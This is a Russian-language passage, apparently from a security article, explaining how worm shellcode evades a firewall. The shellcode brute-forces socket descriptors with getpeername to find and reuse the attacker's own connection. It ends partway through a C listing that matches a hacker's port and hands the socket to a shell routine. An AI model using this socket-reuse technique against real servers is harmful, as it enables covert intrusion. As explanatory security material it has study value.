Между тем shell-код, слегка обжившись на атакованном сервере, вызывает функцию recv, передавая ей дескриптор уже установленного TCP/IP-соединения, того самого, через которое он и был заслан – подтягивая свое основное тело. Совершенно ничего не подозревающий брандмауэр и эти пакеты пропускает тоже, ничем не выделяя их в логах.

Проблема в том, что shell-код не знает дескриптора «своего» соединения и потому не может этим соединением напрямую воспользоваться. Но тут на помощь приходит функция getpeername, сообщающая, с каким удаленным адресом и портом установлено соединение, ассоциированное с данным дескриптором (если дескриптор не ассоциирован ни с каким соединением, функция возвращает ошибку). Поскольку и в Windows 9x/NT, и в UNIX дескрипторы выражаются небольшим положительным целым числом, вполне реально за короткое время перебрать их все, после чего shell-коду останется лишь определить, какое из всех TCP/IP-соединений «его». Это легко. Ведь IP-адрес и порт атакующего узла ему хорошо известны (ну должен же он помнить, откуда он только что пришел!), достаточно выполнить тривиальную проверку на совпадение – вот и все.

Рисунок 6. Атакующий засылает на уязвимый сервер shell-код, который методом «тупого» перебора находит сокет

уже установленного соединения и связывается с узлом атакующего, не вызывая никаких подозрений со стороны брандмауэра

Программная реализация головы червя в несколько упрощенном виде может выглядеть, например, так:

Листинг 3. Ключевой фрагмент shell-кода, осуществляющий поиск сокета «своего» соединения

// шаг 1: перебираем все дескрипторы сокетов один за другим

for (a = 0; a < MAX_SOCKET; a++)

{

    *buff = 0;   // очищаем имя сокета

    // шаг 2: получаем адрес, связанный с данным дескриптором (конечно, при условии, что с ним вообще что-то связно)

    if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, (int *) buff) != -1)

    {

           // шаг 3: идентифицируем свое TCP/IP-соединение по своему порту

           if (htons(faddr.sin_port) == HACKERS_PORT)

                        sshell((SOCKET) a, MAX_BUF_SIZE);

    }